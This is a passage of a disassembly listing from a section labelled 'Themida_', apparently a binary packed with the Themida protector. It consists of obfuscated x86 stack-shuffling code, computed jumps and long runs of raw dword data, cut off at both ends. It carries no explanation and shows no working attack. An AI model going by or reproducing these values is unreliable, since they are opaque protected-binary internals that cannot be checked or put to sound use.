edx sub ebp, 4 xchg ebp, [esp+0] pop esp push esi mov esi, esp add esi, 4 sub esi, 4 xchg esi, [esp+0] pop esp mov [esp+0], ebx push 6D84h mov [esp+0], edi push ecx push esi mov esi, 25DD6C16h mov ecx, 5E4A79EDh sub ecx, esi pop esi mov ebx, 3E776911h xor ebx, ecx pop ecx push esp mov edi, [esp+4+var_4] add esp, 4 push 3912h mov [esp+4+var_4], esi mov esi, ebx mov [edi+8], esi pop esi mov edi, [esp+0] push ebp mov ebp, esp add ebp, 4 add ebp, 4 xchg ebp, [esp+4+var_4] pop esp mov ebx, [esp+0] push esi mov esi, esp add esi, 4 add esi, 4 xchg esi, [esp+4+var_4] pop esp jmp loc_5509FF sub_5AF4AE endp ; --------------------------------------------------------------------------- fsub qword ptr [esp+esi*8] loc_5AF539: ; CODE XREF: Themida_:005AF0A0j mov eax, 61A68CFh add eax, ebp jmp eax ; --------------------------------------------------------------------------- dw 0AB6Dh dd 0B1D14469h, 0A2AE6A66h, 1D9E088Ah, 0C89B0BC2h, 0FED4374Bh dd 8D8D7C4Fh, 61A6A75h, 20A99D09h, 8D890614h, 6143229h dd 7B3CB866h, 0DE9h, 93D69D00h, 6B69A79h, 3F72CB36h, 85C7B45Ch dd 614064Dh, 69CCh, 0E851006Ah, 3, 59C35920h, 4244C89h dd 4244481h, 19h, 55C35141h, 18313D48h, 7185C724h, 61426h dd 6A000000h, 3E85500h, 20000000h, 895DC35Dh, 8104246Ch dd 1A042444h, 45000000h, 0DBA4C355h, 5EBB412h, 0E1B5FF9Dh dd 6A061402h, 3E85100h, 20000000h, 8959C359h, 8104244Ch dd 1A042444h, 41000000h, 8185C351h, 3414B397h, 0FE8B52EAh dd 0FFF28B5Eh, 14236195h, 57006A06h, 3E8h, 0C35F2000h dd 247C895Fh, 24448104h, 1B04h, 0C3574700h, 794527D0h dd 97786D54h, 13E8h, 0F89E4D00h, 8901E160h, 0BDDC0C76h dd 0D8BFB08Fh, 0EC7A0B3Ch, 5FFE8A57h, 0FF006A58h, 14116995h dd 0EBC08B06h, 6DDC91Dh, 2F46E8E3h, 8FB77926h, 0D715E72Ah dd 0B1104F0Ch, 0FDC75646h, 9A87AC51h, 34E9FB74h, 58000000h dd 93568067h, 9DE61D8Ch, 6E2E81E8h, 6C6C6474h, 6C6C642Eh dd 0BD146700h, 0B98003B2h, 0FEh, 4 dup(0) dd 0E9000000h, 6EDh, 1A6C6A68h, 1341E906h, 1268FFFAh, 0E9061A6Dh dd 0FFFA1337h, 1A6DC068h, 132DE906h, 7868FFFAh, 0E9061A6Eh dd 0FFFA1323h, 1A6FA268h, 1319E906h, 7E68FFFAh, 0E9061A70h dd 0FFFA130Fh, 0B406B923h, 6FC1FCD7h, 297B4092h, 0DE30894Ch dd 95E7D601h, 83545C5Ch, 0C60BE83Ah, 14C4A1F3h, 5A7C59ABh dd 7B030F61h, 0C528F75h, 41A8A358h, 1A11h, 0C4126800h dd 983E4BF7h, 0C90EDB23h, 0C1F048F4h, 0E7B99BB1h, 9A3E51F1h dd 131AD325h, 2E8F44A5h, 4A922A82h, 0CEB4BA82h, 0E251F1E7h dd 55EDCC05h, 41A6A0FEh, 3D6C7ADCh, 0E5E8F6F9h, 0DDF5C257h dd 4DC2F41Fh, 942CF1B4h, 0A31FD1E8h, 0C6066ACAh, 537BFF2Eh dd 573D430Bh, 0E45806C9h, 0DB03C9F2h, 723A42ACh, 6C9866Ch dd 2C121858h, 405806CAh, 0E22A5218h, 6C9F6DCh, 0B3E20A58h dd 6C98D6Fh, 0D4769858h, 90795825h, 6C9A48Ah, 0F890B858h dd 0E6B354Ch, 0ED5BD506h, 21070D55h, 3558060Eh, 0F372DE0Dh dd 0BF8D9CBh, 21Ch, 0D372D122h, 0A971B965h, 0F15F6DCh dd 51F1E829h, 4E7D153Dh, 0E501BF0Ah, 7A340B57h, 6FBCEBB4h dd 81A92D5Ch, 96B98CE0h, 58259BF2h, 39913D7Eh, 0EE92000Ah dd 0C29DA0A6h, 9C692227h, 7FD7833Ch, 2702128h, 0C9F8A5A8h dd 8D51D45h, 55BFEECFh, 0EB33DB49h, 3CAD18E5h, 0DE03EA28h dd 0CC8F2F34h, 0AF10C815h, 0D402CF17h, 1EB895E7h, 4A26BF9Dh dd 0AF996E52h, 4BBA1h, 5F607C00h, 1AA3300Dh, 0D4E7EBC8h dd 8930A582h, 407D5A37h, 0AD03B5EEh, 6441932Ah, 1DFA4C6Dh dd 0D5B204BBh, 5C68BA01h, 53E8CED4h, 1FC580Ch, 0F7C4129Ah dd 2DD13F4Bh, 908DFE5h, 0D6FE57E5h, 0F8DFAC84h, 92C119C5h dd 0DA48E746h, 0B221EE36h, 0A217BE0Bh, 1C676D73h, 0EA5DF923h dd 0E5B27AC2h, 0C61ECAF1h, 1A245A40h, 17466E5Eh, 3D5A2B8h dd 89B810BCh, 97DEB845h, 6A1684D4h, 0A191C22h, 3F67FCABh dd 75198793h, 6B5A272Dh, 42C02C0h, 0D6E9EFBCh, 2D4A1A7h dd 4C8A67B9h, 0DA5E916Fh, 8B7593CDh, 4137Dh, 7B82400h dd 0C2FBD8B5h, 7C3F9370h, 31884D2Ah, 0E8D502DFh, 555B5D96h dd 0CE93B82h, 0C5A2F4C5h, 7D5AAC13h, 4106259h, 5490767Ch dd 0A9A4580Ch, 874A1742h, 0DEF80332h, 0E841272Dh, 2D5551F1h dd 14E1E995h, 5E444AC3h, 7251F1E8h, 7983B24Ah, 151B630Bh dd 57E5EB82h, 8B32A16Eh, 0D45887DFh, 227FBFEDh, 26BE4922h dd 0E68AF8D4h, 88FE989Eh, 426A5DFFh, 12A92DFAh, 0C8F3E3C0h dd 0CCB2B880h, 0E05E2067h, 171F89B8h, 6863494Fh, 4F775E20h dd 0AB2A4AF8h, 1847E7A9h, 0A8F0A00Eh, 134333A2h, 43214964h dd 327D01B6h, 65394731h, 0D2000003h, 8663B50Ah, 411E704Dh dd 0FBD82A91h, 0B08DDFDAh, 0B449627h, 0E9D403ADh, 0A217BA97h dd 5A657350h, 10AB2B08h, 242AB2BEh, 580C553Eh, 12F05752h dd 0D30138C4h, 966F0AE2h, 0D84652FEh, 5FDAE028h, 8D57E5A5h dd 0F4351365h, 8C000001h, 6AD865D1h, 2D787EC6h, 0FB57E501h dd 0BCDE32D3h, 0C6AAE118h, 33DFDEF9h, 76438EDBh, 394372CAh dd 13DB23CBh, 42F9270Dh, 0D2543B4Dh, 0CDC49347h, 171D4CE4h dd 36265E11h, 38E40C53h, 0CA12BE2Ch, 4BA6F7C4h, 0A8E2C959h dd 4261798Dh, 975FA73Fh, 128E71C0h, 0F625F485h, 7ED0EBEBh dd 0A88635A1h, 3D42B25Bh, 0ADA8B6A0h, 8A000002h, 3E1B6D52h dd 0F9D62895h, 0B390E2D9h, 68459722h, 0C3FC4E6Fh, 0A11CBBF5h dd 5A5F724Fh, 12AD2B08h, 0C8F3E3C0h, 0DCE26A76h, 580C55F6h dd 17A80F0Ah, 5A7A8940h, 1A16CC55h, 943F962Ah, 0F2FD2CF9h dd 0C28FD7E4h, 765DAA0Fh, 0A2AE1847h, 77448C34h, 0C1A7AD60h dd 0D551F24Fh, 0E0E615ADh, 0E57103DAh, 93A07757h, 39447474h dd 89B13564h, 5B647441h, 93FE1C2Ch, 73963B08h, 6DE876Dh dd 0DB739B58h, 8C34A2ACh, 0F8F33E44h, 0E4C15DF9h, 1522CEEFh dd 0CB63FBC2h, 853D142Ah, 2D805CB8h, 0D4ADF120h, 3CEABDACh dd 2958636Fh, 0C50DB11Fh, 0F0A80CBFh, 6A7038F2h, 0F311A884h dd 0BD417098h, 14E1E995h, 0F64EFAC3h, 0A7C2A8AEh, 0AED6F311h dd 0A207757Fh, 0A6EE8633h, 0D89907DEh, 405C6078h, 1172D4BAh dd 91C0E8F3h, 0F3B8858Bh, 628AF905h, 664C521Ah, 7AF928F3h dd 551D2352h, 0F2A1878Dh, 0A32EF928h, 4C126A16h, 0ECEAF524h dd 9CB087CFh, 6EF845BFh, 21F28799h, 0E97749CAh, 9CDAABAh dd 6839D4B2h, 0ECD69D87h, 183DEh, 9728B400h, 526B6845h dd 0CAF2300h, 0C1F8DDBAh, 7845926Fh, 0E5CBED26h, 9C79CBF2h dd 55328435h, 0DEA3C83h, 94A0F2C9h, 5720060Ch, 3934580Ch dd 0F7C412D2h, 2DD13F4Bh, 82501DE5h, 0C06C4D84h, 0CC24D068h dd 0EBC6599Dh, 0E5B257E5h, 0FFBE19EDh, 0B763FB53h, 84AC305Fh dd 55686F3Ch, 175D1626h, 8603FD40h, 3463094Fh, 0CC14BC2Ah dd 0EC5932C6h, 12C5A257h, 2FDBE0F6h, 5FA73FD7h, 0A9B84492h dd 4F94A62h, 926FC159h, 0BFCB7744h, 8E65AD51h, 2DE75F3Ah dd 8E94C354h, 7060688h, 0E22A525Eh, 0CDFCC315h, 0DFDCFAC7h dd 0E3C9CF97h, 0F75E27E4h, 0B390A0CFh, 0E0EC9823h, 0DBB70F72h dd 18AF886Eh, 1BB306CBh, 0EECB06D3h, 54B3B9BFh, 4A641A8Dh dd 0D7D34422h, 66503275h, 0A758h, 734C9000h, 2E8F4421h dd 0E8D3FFDCh, 9D1CB996h, 54696E4Bh, 0C1EFC902h, 7855A716h dd 310E6059h, 0E9C618A7h, 707CCEEDh, 57FCE2E8h, 1510580Ch dd 8B4A17AEh, 0FB2A822Eh, 93DB83F1h, 17FD03CBh, 2B51F1E8h dd 0E8674D53h, 537B51F1h, 0BA488CBBh, 0E57EB73h, 6B17A631h dd 66337B13h, 0B721506Dh, 3D8F2CAAh, 99457660h, 85881253h dd 0CA88EC06h, 0C517A432h, 0FF716EDh, 0A72E072Ch, 52696D78h dd 0BC42330Ah, 0BEF12E23h, 0BD18258Fh, 59FB50FCh, 0E8D30339h dd 0E0F1BE96h, 0A6D52DD9h, 0D4803B9Bh, 3C6h, 7DE41D00h dd 49F5CA12h, 75219A3Ch, 0A34F7068h, 0D27E3B96h, 0FFAB12C5h dd 2CD8E5F2h, 5703B61Fh, 8733884Ah, 0B864597Ah, 4EC8333h dd 89243C89h, 4C781E7h, 83000000h, 3C8704EFh, 91685C24h dd 8900004Dh, 0BB68242Ch, 89000020h, 0EC81240Ch, 4, 0BA241489h dd 61A6B11h, 545AD589h, 83240C8Bh, 895304C4h, 418F53EBh dd 0C8B5B08h, 0E6895624h, 4C681h, 0C6830000h, 24348704h dd 242C8B5Ch, 81E28952h, 4C2h, 4C28100h, 87000000h, 0E95C2414h dd 0FFFA0C63h, 8639CC3h, 714AB850h, 0C503061Ah, 0C0F9E0FFh dd 0AE2A63FEh, 562143E6h, 8C7069C2h, 9F161AEBh, 69D23C81h dd 1877059Dh, 0E8D64C8Ah, 6E954FE5h, 59815E5Eh, 1B072074h dd 0C52B7B0Ah, 8953578Eh, 95C7468Bh, 0BE9014FFh, 0AE85D63h dd 84000000h, 1B585DAAh, 268C4EE8h, 0F7816688h, 0F95ADBBDh dd 5ED8C281h, 0A0B80000h, 6867C4B3h, 1798h, 4DDF081h, 815E17D2h dd 3FCF61F7h, 0E932FF2Bh, 0Eh, 0D6AB66D8h, 0DA736421h dd 4F3FDBAFh, 805B9D8Dh, 0F3813BEDh, 0D7BDEF3h, 0B1D8B966h dd 7240F381h, 0EB8117C7h, 1470DE27h, 0CE9h, 2DB54F00h dd 232BF7B6h, 0AC7E0AF0h, 0FC1A892Ah, 0F504EA83h, 0B2850F4Eh dd 0E9FFFFFFh, 24h, 3B2D332Ah, 8 dup(0) ; --------------------------------------------------------------------------- jmp loc_5B03ED ; --------------------------------------------------------------------------- push 61A73CEh jmp loc_5509FF ; --------------------------------------------------------------------------- push 61A7459h jmp loc_5509FF ; --------------------------------------------------------------------------- push 61A75F4h jmp loc_5509FF ; --------------------------------------------------------------------------- db 0E6h dd 9A77C9F6h, 55328439h, 0FEC3E7Dh, 0C4A1F3C6h, 1F58AA13h dd 0FDC01799h, 0B603CEABh, 6E518764h, 24973F1Ch, 383EC6D2h dd 580C5A52h, 12046B66h, 444CF8C5h, 2F5E6177h, 5359B224h dd 51F1E86Dh, 6FC15981h, 31792593h, 4EA89269h, 4D6E5379h dd 5D19FF05h, 52D51F2h, 91D392D6h, 618957E5h, 708D6FB5h dd 76985806h, 68A6BFD4h, 0EBB8F8D9h, 33191FEAh, 4758067Dh dd 0F258871Fh, 34Bh, 874A1709h, 0E7967C82h, 82AA51F1h dd 0B7E63EEAh, 0FA68056Bh, 0BD080E56h, 8B57E501h, 36EC263h dd 8FB52868h, 68DBC1C7h, 17EF556Bh, 6B692B11h, 7F173F55h dd 694B3137h, 375F556Bh, 0E090FE08h, 0B508CB98h, 7C82B109h dd 5E994F76h, 11BDE55Bh, 9FE79705h, 72B4A499h, 50875461h dd 92BA3E6Dh, 62597D4Ah, 36854D1Ah, 0BC1AF707h, 98A521FFh dd 0F2DC351Dh, 383E4h, 0C3FCE000h, 7E3F9471h, 38834F2Ch dd 0EDCC09E6h, 0A419BE9Bh, 119F1952h, 0C8A5F7C6h, 815EB009h dd 39166857h, 0C0CC1E9Dh, 5B4C3238h, 6560580Ch, 494F17FEh dd 51F1E863h, 813E9A77h, 0B6E57DD5h, 15E23EACh, 9076FCC3h dd 0A451F1E7h, 18A32F7Ch, 0BF323880h dword_5B0000 dd 6B57EB7Bh, 0DB87349Eh, 0F3D05483h, 0FC44DCDFh, 4D706734h ; DATA XREF: Themida_:00549FFCo dd 0F1A49A1h, 0C6A3F5C8h, 0BA00AC11h, 580C5AD9h, 4B8C7A5Ch dd 0D66EC672h, 0A4F2D8F8h, 0C5D3BD3Eh, 2F8h, 0FC4E716Bh dd 0B709B41Fh, 71C3F8DAh, 26784194h, 0DD2F8E49h, 3B9C14A4h dd 7E533082h, 0CC0CE93Bh, 12C4A1F3h, 0C34B57A9h, 0C5BD7BDh dd 89F0EB58h, 2E8B4A17h, 8E747A82h, 0A251F1E7h, 0A9B3E27Ah dd 834B933Bh, 0B74DE4BBh, 0C2483E1Eh, 0F28F563Ch, 0F5426A51h dd 6CB0DFDEh, 57EC22F9h, 4B53FF27h, 29AE587Eh, 0F850FC94h dd 1A385C9h, 8CAE580Dh, 0D390D5CEh, 0CC6EF8D2h, 66000001h dd 964B4F8Fh, 0E6155F9Dh, 0F7C412FFh, 64983E4Bh, 1E27FA46h dd 0E610F70Fh, 57653990h, 0FDD92BC3h, 12A72A8Fh, 225B327Ah dd 9D9903DFh, 0ECF2F827h, 57E5A359h, 0ADF39FC7h, 580682CBh dd 9E3300D6h, 0E8176F1Bh, 6E45F496h, 30522E91h, 1581B0F6h dd 0F8D97850h, 32AEh, 0FED9A600h, 56EECB0Ah, 0A5134027h dd 0E8ABB1F9h, 0B657E502h, 0BA9CE28Eh, 0C5580602h, 8A52E7A3h dd 6029E84h, 5B8AB258h, 0D9D676EFh, 0DF88F8h, 179F0000h dd 0E863494Fh, 4F7751F1h, 0FAC11520h, 5A79464Eh, 0AE293463h dd 8056630Fh, 0B026F33Bh, 6A72DC0Bh, 0DB87369Dh, 8D495483h dd 6C6DC2Eh, 4C51F1EDh, 47A6AA75h, 67B4F01Ch, 4CA4506Bh dd 42C4121Dh, 5F5A7791h, 2BC31BC7h, 0BD16E3h, 0BDCDFC54h dd 83CB73E1h, 0E72BE47Dh, 0D8FFCC57h, 0A32B6E5h, 2C32FAC2h dd 58090B46h, 65547D5Ah, 44939ECDh, 0ADDC3C9h, 0C9F15809h dd 3F07DF31h, 90B5339h, 103F6758h, 0DEBD205h, 3EA842CDh dd 5DE4F2DCh, 6000001h, 0BA97E9D6h, 7552A419h, 2F0C5E5Dh dd 0E4C113A6h, 3F78CAF3h, 1DA03779h, 0D6E3EECBh, 8E31A784h dd 44775F3Ch, 585EE6F2h, 580C5D72h, 12248B86h, 55DC39C5h dd 0C1B13F9Dh, 0BE14E129h, 0ACF951FDh, 5262912Ah, 85A6175h dd 42C4124Fh, 1AD02794h, 2551CBCDh, 470F57EFh, 0F2A35B41h dd 18476F51h, 8635A1AEh, 46EA5834h, 0F8DF8FEh, 511957E6h dd 6F1654Bh, 22517958h, 612E769Eh, 429A4675h, 97400D13h dd 2FFCD426h, 0A4E817A2h, 5806F0C2h, 0DA2C8F47h, 37E3DAFDh dd 0BF29h, 44946100h, 0F0DFC5CBh, 0CBF35806h, 131D0433h dd 0E9B1F9A5h, 1608D512h, 62911611h, 0EC709F1Eh, 0F7FDD557h dd 580D5011h, 0B965FD25h, 0D866DAB1h, 0ADA3DC43h, 0DE3406ADh dd 87B64E07h, 0F615A7Ch, 506D6A37h, 121D4CA4h, 434BF7C4h dd 0C38F757Bh, 7BA3580Dh, 2E99084Ch, 5BBF72E2h, 3C420A3Fh dd 95451056h, 813426Ah, 0D8A5EDCEh, 8393C2FBh, 438B30A6h dd 0F8F757Bh, 7BA39545h, 3DAE24Ch, 83612F80h, 0E3EE1DF0h dd 0B27FC7F2h, 0FD679623h, 0B04406A8h, 0C5F6E026h, 0E129C119h dd 0C458270Ah, 0E41362B3h, 2E34FCD4h, 95456A48h, 0FA05345Ch dd 0CA97DFDCh, 1680AF0Ch, 308h, 7DE45F00h, 49F5CA12h, 75219A3Ch dd 0A34F7068h, 0D27E3B96h, 0FFAB12C5h, 2CD8E5F2h, 5703B61Fh dd 8733884Ah, 0B864597Ah, 4EC8333h, 55242489h, 4BDh, 246C0100h dd 89525D04h, 4C281E2h, 83000000h, 148704EAh, 34895C24h dd 0E1895124h, 4C181h, 0E9830000h, 240C8704h, 242C895Ch dd 43ECBF57h, 38BE372Ch, 31313631h, 243C8BFEh, 8104C483h dd 4ECh, 24248900h, 4240481h, 5D000000h, 59BB5356h, 2933A40Fh dd 5B04245Ch, 8108458Fh, 0F590845h, 34FF33A4h, 0C4815D24h dd 4, 5E2434FFh, 4C481h, 20E90000h, 49FFFA06h, 335ACC31h dd 0E759251Bh, 41FCBC5Ah ; --------------------------------------------------------------------------- pop es loc_5B03ED: ; CODE XREF: Themida_:005AFE90j mov eax, 61A7776h add eax, ebp jmp eax ; --------------------------------------------------------------------------- dw 28D6h dd 2ED5069Ch, 32AA0E59h, 93640680h, 0A7426C7Fh, 0FA453796h dd 0FE160544h, 269D244Bh, 0F4044BD2h, 0C5001476h, 5F666771h dd 28830905h, 0C4264F09h, 9E757334h, 1D657C8Fh, 541C3150h dd 5E85C0Eh, 2000000h, 4E564F22h, 0CE9h, 4C6C6100h, 1694C375h dd 0F99B098Eh, 0E9805883h, 4CC081E2h, 66000068h, 0FF2BCA8Bh dd 8BCE8B66h, 820F381Ch, 3, 81D38B66h, 0B145BBC3h, 0ABC3814Eh dd 805B6F21h, 0F3818CF2h, 2D7E4F15h, 0E0B953FCh, 8F6337EDh dd 0F08A3804h, 0F60CEF81h, 0D28104F9h, 21149F7Ah, 0F608C781h dd 0BA6604F9h, 0FF81053Dh, 0FFFF985Ch, 26850Fh, 0BE90000h dd 1F000000h, 838CA18Ch, 1BA6E3C4h, 20E9696Eh, 80000000h dd 90AC6CC1h, 412A9947h, 9BE009A5h, 61928106h, 0E9D18B66h dd 0FFFFFF83h, 8660A79Eh, 53DFF07Eh, 5DB17DC7h, 0AEB121BFh dd 3FA82556h, 0FF39AC0Bh, 0A0ABA5B4h, 594C7B77h, 7889F62Ch dd 0B8F73256h, 95B13256h, 269DB727h, 0BED13256h, 0ABB13242h dd 868CD0DCh, 88DAB347h, 0F250DC53h, 38580CEFh, 3856C8E9h dd 0FC48E5D7h, 7FD02E9Eh, 0ABB37464h, 0DF393256h, 480C9B0h dd 75CA9303h, 0BAB1CB56h, 5DA2BE59h, 28BE3256h, 57B1325Bh dd 0ABB13ABFh, 88EF4356h, 70349D32h, 9CB1323Ch, 0BAB13258h dd 0C3171E2Dh, 95F25B55h, 96EBF8B0h, 0ABB1ED50h, 0C063D36h dd 0EAD0E4DDh, 6F0AC756h, 2A7B320Ch, 53580AC9h, 0CB13256h dd 62D683E5h, 311CCDD5h, 95BAE0D4h, 0EAB15399h, 1461B936h dd 0BAEAC1CBh, 0E8B13256h, 0C82BBB0Bh, 0B3141853h, 9E215877h dd 3C987390h, 3AF035Dh, 75B1325Bh, 8FF5C59Fh, 3DBDC894h dd 0DBB872A3h, 0BEB13288h, 0ABB13247h, 0C337FA59h, 0F6C577CEh dd 53560765h, 957DA677h, 3DB132DAh, 0EC998930h, 58B13237h dd 0ABB12ADEh, 0D5A2DB56h, 3BE33256h, 22DE573h, 0EAF41E26h dd 62B95AA8h, 0A80FEDC4h, 0ABB132D8h, 0CB4D3256h, 0D5B134BFh dd 95BACD56h, 0F5A52902h, 0BAD02F93h, 5DA2DB56h, 40953256h dd 0FD93CD84h, 0C9A44A5Dh, 690DA8E9h, 9BC00EA8h, 89B1323Ah dd 0BF583256h, 6CB13256h, 0B97C2423h, 0BFD13256h, 0ABB1325Fh dd 0B74C2C40h, 60ED4701h, 73586A27h, 3B13256h, 0A9B318C6h dd 0AEB153E4h, 0BEB132AAh, 0ABB13242h, 233B1956h, 16B7FE0Bh dd 1958F2A5h, 4ADAAD42h, 141906F4h, 0AE4D3256h, 51595256h dd 1B13256h, 449EF5BEh, 0EA333D01h, 2CB13256h, 0BAA5BB59h dd 53593256h, 0EBB13256h, 3CD9F54Dh, 0A61111CDh, 188E5BF1h dd 0EAD06CF0h, 64585256h, 0EB13256h, 591F25EBh, 7687F0Dh dd 8930A8B4h, 83288775h, 0D5B13DBEh, 2DAE556h, 40FB6BE8h dd 765C3B3Eh, 9AD0A2E0h, 765EB330h, 57D06B87h, 0ABB1CB56h dd 0D5ADB559h, 53D13256h, 4F2637AEh, 0BAB122BFh, 0E40C7C56h dd 986C8B62h, 50A0D3C6h, 115B986Dh, 0D5B1535Ah, 0EAB13DBFh dd 0CE5B8756h, 0E656C9CAh, 7F50910Ah, 0EA5D353Ah, 5F583256h dd 55B13256h, 8238823Fh, 0EA4D6694h, 62303D56h, 53B13256h dd 5DB13244h, 8057A588h, 46FC1160h, 0CF95FE6Dh, 51694542h dd 0EAB15259h, 75B8B759h, 0D13256h, 37EAE76Fh, 0AED05336h dd 5D343D56h, 0CBB13256h, 0D5B1B659h, 0B4E73256h, 75B13037h dd 0BAB13256h, 0D46F5522h, 845EC6D3h, 5741E111h, 0AA3C3D56h dd 29B13256h, 0EAB83581h, 75BD3255h, 0BAB23254h, 5E293276h dd 86D4DBD7h, 57B1CA37h, 0CBB132AEh, 0D5B153AEh, 98958836h dd 1448549Ch, 0BA493256h, 5DB1CE56h, 0AEB13ABFh, 0E5AB7056h dd 16BA0729h, 9FB13202h, 66BE3254h, 75B1325Bh, 82A78936h dd 9E3070A0h, 0DA9A31E7h, 1DB13237h, 0ABB13254h, 2EEA9844h dd 8C820502h, 0D5819E5Ah, 0BAB10086h, 5DA4B659h, 0BE583256h dd 46B13256h, 2C5958FFh, 93C6E10h, 0D015237Ah, 0E52DF99Eh dd 20B48C36h, 50594E63h, 2FB13256h, 0EAA55570h, 123131E4h dd 0A01D6DA8h, 8BE8E4DDh, 15E36206h, 0BAA5DBCAh, 0B86D3256h dd 0CF7959ECh, 0CAC575D0h, 3251D144h, 80BD0D08h, 3430693Ch dd 310FA060h, 0BAB13EBFh, 9FBC9656h, 0A0B82285h, 4D740E79h dd 0A058AF1Dh, 0F2B13256h, 29C34F82h, 6A0F4B16h, 0B5D0073Ah dd 5DB7DB67h, 0B9273256h, 0E493DF52h, 0B2216A0Ch, 3D8D88h dd 0E52CE9BCh, 0E6D0FDE1h, 0DB438559h, 555FB3C6h, 479F718Ch dd 57B13250h, 7605B590h, 0B42C1104h, 3E16A0Ch, 75B13242h dd 211BA71Ah, 2AC7236Eh, 0BDB37FB2h, 38FF7B06h, 20EB372Ah dd 0D5B132C0h, 33911104h, 0E0FD4DC8h, 0AB89A9FCh, 10554520h dd 2FD72154h, 0BEAB7CB0h, 0ABB13242h, 5EEB372Ah, 8D97B33Eh dd 76038F42h, 0E54F8BD6h, 26BB47FAh, 8E68ACBh, 0FD06FABh dd 907B073Ah, 0C227830Eh, 5993DF52h, 75A2DBCAh, 26BE3256h dd 0D59A48F3h, 9AB67477h, 0F712E00Bh, 674E2C0Fh, 4305443h dd 0EC58B5EEh, 83B13256h, 387C56A1h, 7D0AFC5h, 0A1B16A0Eh dd 57B13ADAh, 0A93C3D56h, 0B5B13256h, 61D75237h, 75B1538Fh dd 0BAB137BFh, 413B1B56h, 0AEB129DFh, 57BAB859h, 0CDD13256h dd 0F3E2FCD7h, 86738830h, 7AB13237h, 0BAB135DAh, 5C3C3D56h dd 56B13256h, 0BE4D3256h, 0ABB13246h, 0EC680FB6h, 0A2D814C9h dd 0C8D44ED7h, 7195AC8h, 5D483256h, 0A2313D56h, 0BEB13256h dd 0ABB13251h, 1BD72742h, 0E5F186E7h, 75B133D0h, 0BAB1CB56h dd 5DBFB659h, 0A7583256h, 71B13256h, 0C57AD096h, 63FAF34Fh dd 62BE3256h, 75B13258h, 0C26EB336h, 0DCF6BBB9h, 5DAD5485h dd 57B1533Eh, 0ABB13FBFh, 16969C56h, 9C61D698h, 0B920B03h dd 0BAB1EFDDh, 5DA7B259h, 2BBE3256h, 57B13246h, 0ABB139BFh dd 0FF1EF156h, 87C70AD1h, 0ADBFE7C4h, 536DB836h, 5DB1325Fh dd 0C402DFB0h, 3CA3228Ch, 0ABB153F3h, 0D5B13BBFh, 0FC274C56h dd 0DC3C91BEh, 0BAB15C48h, 5DBADB36h, 78B73256h, 0D9502500h dd 530140F4h, 0D33F3DE4h, 0E5B13256h, 75B132D5h, 0BAB15356h dd 0B4B132A3h, 0AEB13245h, 0E615F4Ah, 0C04F97B2h, 0E26503F7h dd 83CA06E5h, 9C96B4DDh, 0BAB1325Fh, 4295973Ch, 8923A57Ch dd 0BEB132A1h, 0ABB1325Fh, 71C682E1h, 69687506h, 89B13255h dd 0BAB122BFh, 0C23FA656h, 5C76E773h, 3DC246C4h, 8377F84Ch dd 0B5B132DFh, 34AB930h, 75B13251h, 34A89787h, 3C2A69DCh dd 47B132AEh, 57B1325Bh, 6904F028h, 0D3996F2Ch, 0F2B78216h dd 9CB132B5h, 0BAB1325Ah, 0CA6EB3ABh, 10A7B6A7h, 85FE4CA9h dd 0ABB0B159h, 0D5493256h, 5CD15256h, 75393D64h, 0DBB13256h dd 52B13237h, 0AEB133D1h, 5E58CB56h, 0FCB13256h, 0E931E351h dd 0B8DD4DC5h, 7F583256h, 0FBB13256h, 7DE20448h, 0C287DDDh dd 58B132D5h, 0ABB122DBh, 0D5BADB56h, 0D88B3256h, 5A244EC7h dd 9BF3DA29h, 0B4B132CEh, 0AEB13245h, 7D0AEA02h, 0D1B0F2CDh dd 0DD5F084Ch, 0B2F26AA3h, 7587AA47h, 0BABADB56h, 0E7073256h dd 22EC0496h, 29CA61C9h, 42B132C5h, 0D5B1325Eh, 6C084DD0h dd 7F7A1CE3h, 0BC583256h, 2EB13256h, 336B9BF7h, 0AFB132F6h dd 0AB483256h, 0C1313D56h, 0E5B13256h, 75B13CD3h, 0BAB8DB56h dd 67BD3256h, 5C1AD0B6h, 573ADFD8h, 0A158CB56h, 0E7B13256h dd 1DDA86C4h, 0F570FE10h, 0B5B1321Ah, 5DB121DCh, 0A3323D56h dd 0BEB13256h, 0ABB1325Eh, 58F0F084h, 0DAA91FB9h, 7AD13256h dd 0BAB130D2h, 0D67AB956h, 0AEB15391h, 57B6B359h, 29BE3256h dd 0D5B13257h, 61D152A3h, 75303D9Ch, 0DBB13256h, 0CA038DE8h dd 0AEB15322h, 57A5B859h, 0A4583256h, 97B13256h, 130B8B1Dh dd 60E1509Ah, 6B0F02DCh, 5D48204Fh, 0B2373D56h, 37B13256h dd 43678559h, 0D5B13247h, 0FC322405h, 5DBB70A5h, 0BD3EF82Bh dd 7529F18Fh, 0AED06BADh, 57B4DB56h, 0F6DD3256h, 0D54597ECh dd 0EABBDB56h, 7DA93256h, 0D55CD899h, 39C9760Ah, 0AEB135BFh dd 0BB1F3D56h, 0B3E7734Bh, 0C6583256h, 0DBB13256h, 0B63EF41Dh dd 0FC3DDC60h, 0C305650Dh, 5F025097h, 57B17A9Eh, 0ABAFBD59h dd 3CD13256h, 0EAB13242h, 145FB79Dh, 0F5AE1DE3h, 0A52AB0BBh dd 4B0FEE21h, 0E9CAA10Eh, 0CA688559h, 5F3A8236h, 0EAB153AAh dd 89B132A3h, 38BE3256h, 5DB13243h, 0AEBEB459h, 5D583256h dd 9EB13256h, 0F594E25Fh, 92BEBE3Bh, 9CB1325Fh, 0BAB13244h dd 0A7699FF3h, 2463293Ch, 0F673C0C1h, 8B225DBCh, 0D5B1869Dh dd 0EAB134BFh, 471A9056h, 0BAE2C96Eh, 5A3F3D56h, 0CEB13256h dd 37718559h, 0ABB15337h, 0D5B8DBA3h, 3FE73256h, 0D55CA77Ch dd 0BA3757A1h, 0E5D75256h, 0AED04601h, 0EFD75256h, 23BE6138h dd 0D5B1325Dh, 0EAB134BFh, 258C1356h, 0DB908A50h, 3BD13256h dd 4030CBDDh, 3C122121h, 5A305237h, 0FE610979h, 0E5B13237h dd 75B133D1h, 35BECA56h, 5DB13257h, 5BB132AEh, 57BAB759h dd 0CDD13256h, 5FBEF9DDh, 0EAB13256h, 7AB13237h, 0BAB124D0h dd 4D363D56h, 47B13256h, 57B1325Dh, 8C768231h, 0EB328C84h dd 0EAF7A625h, 723C3D56h, 0B5B13256h, 5DB133DCh, 0AEB1CA56h dd 57B4B759h, 0A4D13256h, 0D5D0C1E9h, 0A6035256h, 75B122BFh dd 5B1E7256h, 0FAA9C8A0h, 2927F39Ch, 0D347D102h, 0ABB153CBh dd 0D5B13EBFh, 0B305EA56h, 6C70E566h, 0FECD18B4h, 3DB1324Eh dd 